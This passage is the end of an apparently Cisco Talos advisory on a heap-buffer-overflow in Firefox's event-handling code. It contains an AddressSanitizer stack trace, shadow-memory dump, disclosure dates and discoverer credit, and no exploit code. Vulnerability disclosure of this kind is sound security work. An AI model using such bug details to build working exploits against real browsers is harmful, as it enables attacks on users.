#30 0x7fe0bf2039e9 in mozilla::dom::EventHandlerNonNull::Call(mozilla::dom::BindingCallContext&, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/obj-build/dom/bindings/EventHandlerBinding.cpp:276:37
#31 0x7fe0bfd34d71 in void mozilla::dom::EventHandlerNonNull::Call<nsCOMPtr<mozilla::dom::EventTarget> >(nsCOMPtr<mozilla::dom::EventTarget> const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/obj-build/dist/include/mozilla/dom/EventHandlerBinding.h:367:12
#32 0x7fe0bfd32f20 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/checkouts/gecko/dom/events/JSEventHandler.cpp:201:12
#33 0x7fe0bfcf7aae in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1088:22
#34 0x7fe0bfcf913e in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1280:17
SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
Shadow bytes around the buggy address:
0x0c06800856e0: 00 00 00 00 fa fa fd fd fd fd fa fa 00 00 00 fa
0x0c06800856f0: fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
0x0c0680085700: 00 fa fa fa 00 00 00 00 fa fa fd fd fd fd fa fa
0x0c0680085710: fd fd fd fd fa fa 00 00 00 fa fa fa 00 00 00 00
0x0c0680085720: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00
=>0x0c0680085730: 00 00 fa fa 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c0680085740: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0680085750: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0680085760: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0680085770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0680085780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==61400==ABORTING
2020-05-27 - Vendor Disclosure
2020-07-01 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.